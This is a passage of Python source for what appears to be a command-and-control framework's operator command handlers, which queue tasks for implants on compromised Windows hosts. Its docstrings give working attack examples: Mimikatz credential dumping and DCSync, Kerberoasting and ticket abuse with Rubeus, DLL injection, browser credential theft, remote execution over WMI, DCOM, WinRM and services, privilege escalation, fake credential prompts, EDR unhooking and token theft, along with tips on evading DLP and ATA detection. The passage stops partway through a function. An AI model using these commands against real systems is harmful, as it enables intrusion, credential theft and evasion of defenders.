|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
del C:\\users\\jbloggs\\desktop\\test.txt
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_ls_pipes(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
List all listening pipes on the local machine.
|
|
|
|
Handy for checking PBind shellcode execution.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
ls-pipes
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_ls_remote_pipes(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
List all listening pipes on the remote machine.
|
|
|
|
Handy for checking PBind shellcode execution.
|
|
|
|
Requires correct accesses (Kerberos tickets or correct token).
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
ls-remote-pipes dc01
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_test_ad_credential(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Tests the provided credentials against the domain.
|
|
|
|
Creates a new PrincipalContext (with ContextType.Domain)
|
|
and attempts to ValidateContext against the domain.
|
|
|
|
4624 events are generated.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
test-ad-credential Domain Username Password
|
|
test-ad-credential Domain.fqdn Username Password
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_test_local_credential(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Tests the provided credentials against the local machine.
|
|
|
|
Creates a new PrincipalContext (with ContextType.Machine) and attempts to
|
|
ValidateContext against the local machine.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
test-local-credential Username Password
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_inject_dll(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Injects a DLL from on disk on the C2 server into the target process
|
|
via CreateRemoteThread.
|
|
|
|
Analogous to dllinject within Cobalt Strike.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
inject-dll <dll-location> <pid/path> <ppid>
|
|
inject-dll c:\\temp\\test.dll c:\\windows\\system32\\svchost.exe <optional-ppid-spoof>
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_download_file(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Download the target file to the C2 server.
|
|
|
|
Will chunk larger files to ~100MB.
|
|
|
|
These large downloads may trigger DLP or proxy warnings, so give consideration to splitting
|
|
a large file up on the target filesystem etc.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
download-file C:\\users\\public\\file.txt
|
|
"""
|
|
destination = command.replace("download-file ", "")
|
|
b64_destination = base64.b64encode(destination.encode("utf-8")).decode("utf-8")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} download-file {b64_destination}" if command_prefix else f"download-file {b64_destination}",
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_ps(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Show running processes on the local machine.
|
|
|
|
Alias from get-processlist.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
ps
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_remote_process_listing(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Uses WMI to query a remote machine for running processes. Can filter on a process name.
|
|
|
|
Not case sensitive, and will return what user context and PID the target process is running under.
|
|
|
|
Appropriate token or Kerberos ticket required.
|
|
|
|
Returns the user context and PID the application is running under.
|
|
|
|
Can take multiple computers.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-remote-process-listing win7-client2 explorer.exe
|
|
get-remote-process-listing SERVER01,SERVER02,SERVER03 taskhost.exe
|
|
get-remote-process-listing SERVER01
|
|
"""
|
|
if len(command.split()) > 2:
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
else:
|
|
command = f"get-remote-process-listing-all {' '.join(command.split()[1:])}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_safetydump(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Creates a process dump of a target process that can be downloaded.
|
|
|
|
https://github.com/m0rv4i/SafetyDump
|
|
|
|
See also Dumpert by Outflank.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
safetydump <pid>
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sharpchrome(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
SharpChrome from Ghostpack.
|
|
|
|
https://github.com/GhostPack/SharpDPAPI/tree/master/SharpChrome
|
|
|
|
Polls the local Google Chrome database and DPAPI to decrypt any credentials. Pair with SharpWeb and Chlonium from Rich Warren at NCC.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharpchrome logins
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sharpdpapi(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
SharpDPAPI from Ghostpack.
|
|
|
|
Uses DPAPI to decrypt credential blobs.
|
|
|
|
https://github.com/GhostPack/SharpDPAPI
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharpdpapi machinetriage
|
|
sharpdpapi triage
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sharpup(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Runs SharpUp from GhostPack.
|
|
|
|
https://github.com/GhostPack/SharpUp
|
|
|
|
Consider https://github.com/itm4n/PrivescCheck instead (although requires PS)
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharpup all
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sharpweb(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Runs SharpWeb to pull logins from Chrome.
|
|
|
|
Consider pairing with SharpDPAPI and Chlonium.
|
|
|
|
https://github.com/djhohnstein/SharpWeb
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharpweb all
|
|
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_seatbelt(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Runs Seatbelt for Situational Awareness.
|
|
|
|
https://github.com/GhostPack/Seatbelt
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
seatbelt -group=all
|
|
seatbelt -group=chrome
|
|
seatbelt -group=miscsharpweb all
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_mimikatz(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Runs Mimikatz via reflectively loading in SharpSploit.
|
|
|
|
https://github.com/cobbr/SharpSploit
|
|
https://github.com/gentilkiwi/mimikatz
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
mimikatz Wdigest
|
|
mimikatz LsaSecrets
|
|
mimikatz LsaCache
|
|
mimikatz SamDump
|
|
mimikatz Command "privilege::debug sekurlsa::logonPasswords"
|
|
mimikatz Command Command "\"lsadump::dcsync /user:administrator\""
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sharpview(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Uses SharpView to enumerate the domain / remote machines.
|
|
|
|
HEALTH WARNING: Casing is critical. Test ALL commands in lab first as will return ALL objects and properties if you typo.
|
|
|
|
https://github.com/tevora-threat/SharpView
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharpview Get-NetUser -SamAccountName ben
|
|
sharpview Get-NetGroup -Name *admin* -Domain -Properties samaccountname,member -Recurse
|
|
sharpview Get-NetGroupMember -LDAPFilter GroupName=*Admins* -Recurse -Properties samaccountname
|
|
sharpview Get-NetUser -Name deb -Domain blorebank.local
|
|
sharpview Get-NetSession -Domain blorebank.local
|
|
sharpview Get-NetOU -Properties distinguishedname
|
|
sharpview Get-DomainController -Domain blorebank.local
|
|
sharpview Get-DomainUser -LDAPFilter samaccountname=ben -Properties samaccountname,mail
|
|
sharpview Get-DomainUser -AdminCount -Properties samaccountname
|
|
sharpview Get-DomainComputer -LDAPFilter operatingsystem=*2012* -Properties samaccountname
|
|
sharpview Find-InterestingFile -Path c:\\users\\ -Include *exe*
|
|
sharpview Find-InterestingDomainShareFile -ComputerName SERVER01
|
|
sharpview Get-DomainComputer -SearchBase "OU=Domain Controllers,DC=contoso,DC=local" -Properties samaccountname
|
|
sharpview Get-NetShare -ComputerName SERVER01
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_portscan(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Loads the PortScanner.dll into memory and uses TCP Connect to scan the target.
|
|
|
|
Consider intermediary firewalls and logging devices.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
portscan "10.0.0.1-50" "1-65535" 1 100
|
|
portscan <hosts> <ports> <delay-in-seconds> <max-threads>
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_oraclecli(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Interact with a remote Oracle instance.
|
|
|
|
Consider the impact of any queries (eg SELECT * from * is probably not ideal).
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
oraclecli -server server01 -sn orcl -user SCOTT -pass TIGER -query "SELECT * FROM V$VERSION"
|
|
oraclecli -server <hostname -sn <storage node/SID> -user <user> -pass <pass> -query "SELECT * FROM V$VERSION"
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_rubeus(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Loads Rubeus into memory.
|
|
|
|
https://github.com/GhostPack/Rubeus
|
|
|
|
Consider using OverPassTheHash where possible (eg pass NTLM/keys to get Kerberos tickets, rather than PTH directly using NTLM).
|
|
Avoid ATA detection for 'Unusual Protocol Implementation' by passing in all keys / hashes given from a DCSync.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
rubeus kerberoast
|
|
rubeus asreproast /user:username
|
|
rubeus s4u /user:<user or computeraccount$> /rc4:<ntlm> /impersonateuser:administrator /msdsspn:LDAP/<fqdn> /dc:dc01.fqdn.local /altservice:cifs,host,LDAP /ptt
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sharphound(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Loads SharpHound into memory and executes with the given syntax.
|
|
|
|
https://github.com/BloodHoundAD/BloodHound
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharphound -c Container,Group,LocalGroup,GPOLocalGroup,ObjectProps,ACL,Trusts,RDP,DCOM,PSRemote,DCOnly --outputdirectory c:\\users\\public --nosavecache --RandomizeFilenames --zipfilename backup_small.zip --collectallproperties
|
|
sharphound -c Container,Group,LocalGroup,GPOLocalGroup,ObjectProps,ACL,Trusts,RDP,DCOM,PSRemote,Session,LoggedOn,Default --outputdirectory c:\\users\\public --nosavecache --RandomizeFilenames --zipfilename backup_full.zip --collectallproperties
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sharpsc(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Create a remote service to run your commands.
|
|
|
|
https://github.com/djhohnstein/SharpSC
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharpsc SERVER01 service "cmd /c rundll32.exe test.dll,Ep" domain username password
|
|
sharpsc action=create computername=dc01 service=MyService displayname=""My Service"" binpath=C:\\Windows\\System32\\cmd.exe
|
|
sharpsc action=start</stop> computername=dc01 service=MyService
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_wmiexec(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Uses WMI process_call_create to execute a command on the remote target.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
wmiexec -t 10.0.0.1 -u admin -d domain -p password1 -c "rundll32 c:\\users\\public\\run.dll,etp"
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_arpscan(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Performs an arp scan of the subnet.
|
|
|
|
Optional DNS resolve flag.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
arpscan 172.16.0.1/24 true
|
|
arpscan <arp applicable subnet> <resolve true/false>
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_dcomexec(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Uses DCOM for command execution.
|
|
|
|
Requires correct token or ticket (cannot pass credentials).
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
dcomexec -t 10.0.0.1 -m mmc -c c:\\windows\\system32\\cmd.exe -a "/c notepad.exe"
|
|
dcomexec -t 10.0.0.1 -m shellbrowserwindow -c c:\\windows\\system32\\cmd.exe -a "/c notepad.exe"
|
|
dcomexec -t 10.0.0.1 -m shellwindows -c c:\\windows\\system32\\cmd.exe -a "/c notepad.exe"
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sweetpotato(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Abuses impersonation privilege to move from a service to SYSTEM.
|
|
|
|
Consider PrintSpoofer and Juicy Potato also.
|
|
Requires putting the Potato executable on disk - will require trivial obfuscation and recompilation.
|
|
|
|
https://github.com/CCob/SweetPotato
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sweetpotato -p c:\\users\\public\\implant.exe
|
|
sharpps "rundll32.exe c:\\temp\\ph.dll,DllInstall" | out-file c:\\users\\public\\test3.bat -encoding ascii
|
|
start-process C:\\Temp\\Juicy/<Sweet>Potato.exe "-l 2137 -p c:\\temp\\test3.bat -t *"
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_kill_process(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Kills the specified procress by PID or processes matching a name.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
kill-process
|
|
kill-process 1234
|
|
kill-process calc.exe
|
|
"""
|
|
if command == "kill-process":
|
|
pid = get_process_id(implant_id)
|
|
ri = input(f"Are you sure you want to kill the current process? ({pid}) (Y/n) ")
|
|
|
|
if ri == "" or ri.lower() == "y":
|
|
command = f"{command} {pid}"
|
|
else:
|
|
print("Process not killed")
|
|
return
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_cred_popper(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Cred pop the user with a customisable box (OS dependant).
|
|
|
|
Make sure you are in a process at the foreground, otherwise the user won't see it!
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
cred-popper "Outlook" "Please Enter Your Domain Credentials"
|
|
cred-popper "Putty" "Please re-enter your OTP code" "root@172.16.0.1"
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, name="pwd")
|
|
def do_get_implant_working_directory(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gets the current working directory for the implant.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
pwd
|
|
get-implant-working-directory
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_computer_info(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Performs situational awareness checks on the current host.
|
|
|
|
Enumerates installed processes, users etc.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-computer-info
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_unhooker(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Unhooks any hooks applied to certain userland functions by EDRs.
|
|
|
|
Currently supports:
|
|
Windows 10 1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909
|
|
Windows 7 SP1
|
|
Windows 2012 R2
|
|
WIndows Server 2016
|
|
|
|
Unhooks any hooks applied to:
|
|
NtCreateProcessEx
|
|
NtFreeVirtualMemory
|
|
NtProtectVirtualMemory
|
|
NtUnmapViewOfSection
|
|
NtQueueApcThreadEx
|
|
ZwCreateProcess
|
|
ZwCreateThread
|
|
ZwCreateThreadEx
|
|
ZwCreateUserProcess
|
|
ZwQueueApcThread
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
unhooker
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sharpservice(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Runs SharpService.exe to interact with local and/or remote services using ServiceController.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
sharpservice </name> [/machine] </action>
|
|
|
|
Examples:
|
|
sharpservice /name:Fax /action:check
|
|
sharpservice /name:IKEEXT /machine:fs01.blorebank.local /action:start
|
|
"""
|
|
check_module_loaded("SharpService.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("sharpservice", "run-exe SharpService.Program SharpService")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_steal_token(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Steals a token from a process and applies it to the current thread. This token is then used for network access.
|
|
|
|
Windows API Calls:
|
|
* OpenProcessToken
|
|
* DuplicateToken
|
|
* ImpersonateLoggedOnUser
|
|
* SetThreadToken
|
|
* RevertToSelf
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
steal-token <pid | rev2self>
|
|
|
|
Examples:
|
|
steal-token 9804
|
|
steal-token rev2self
|
|
"""
|
|
check_module_loaded("Steal_token.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("steal-token", "run-exe Steal_token.Program Steal_token")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_make_token(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Makes a network logon token and applies it to the current thread.
|
|
|
|
Windows API Calls:
|
|
* GetTokenInformation
|
|
* LogonUserA
|
|
* ImpersonateLoggedOnUser
|
|
* RevertToSelf
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
make-token <username> <domain> <password>
|
|
make-token rev2self
|
|
|
|
Examples:
|
|
make-token administrator blorebank.local P@ssw0rd!
|
|
make-token rev2self
|
|
"""
|
|
check_module_loaded("token.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("make-token", "run-exe token.Program token")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Process_Manipulation])
|
|
def do_sharpcreateproc(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Runs SharpCreateProc.exe to create a suspended or running process, with or without alternate domain user credentials.
|
|
|
|
Windows API Calls:
|
|
* CreateProcess / CreateProcessWithLogonW
|
|
* OpenThread
|
|
* ResumeThread
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
sharpcreateproc </proc> [/domain] [/username] [/password] [/suspended]
|
|
sharpcreateproc </pid>
|
|
|
|
Examples:
|
|
sharpcreateproc /proc:C:\\Windows\\System32\\werfault.exe /domain:blorebank.local /username:admin /password:P@ssw0rd1 [/suspended]
|
|
sharpcreateproc /proc:C:\\Windows\\System32\\werfault.exe
|
|
sharpcreateproc /proc:C:\\Windows\\System32\\werfault.exe /suspended
|
|
sharpcreateproc /pid:2222
|
|
"""
|
|
check_module_loaded("SharpCreateProc.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("sharpcreateproc", "run-exe SharpCreateProc.Program SharpCreateProc")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Lateral_Movement])
|
|
def do_sharpwinrm(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Uses WinRM (TCP/5985,5986) for command execution on a remote host. The underlying binary is SharpWSManRM from Bohops.
|
|
|
|
https://github.com/bohops/WSMan-WinRM/blob/master/SharpWSManWinRM.cs
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
sharpwinrm <hostname> [command] [domain\\user] [password]
|
|
|
|
Examples:
|
|
sharpwinrm dc01.blorebank.local "C:\\ProgramData\\edmgen.exe" domain\\joe.user Password123!
|
|
"""
|
|
check_module_loaded("SharpWSManRM.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("sharpwinrm", "run-exe SharpWSManRM.Program SharpWSManRM")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_sharpprocesslist(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Lists processes from a remote or local server via WTS API calls with RDP RPC method.
|
|
(RDP needs to be enabled in the remote host)
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Usage: sharpprocesslist [options]
|
|
/domain : domain name for token
|
|
/username : username for token
|
|
/password : password for token
|
|
/host : host for process listing
|
|
|
|
Example:
|
|
sharpprocesslist /host:127.0.0.1 /domain:whatever.local /username:darwin /password:P@ssw0rd1
|
|
sharpprocesslist /host:10.0.0.5
|
|
"""
|
|
check_module_loaded("SharpProcessList.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = command.replace("sharpprocesslist", "run-exe SharpProcessList.Program SharpProcessList")
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Enumeration])
|
|
def do_sharptask(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Lists scheduled tasks from a remote or local server via API calls with RPC method.
|
|
(RDP needs to be enabled in the remote host)
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
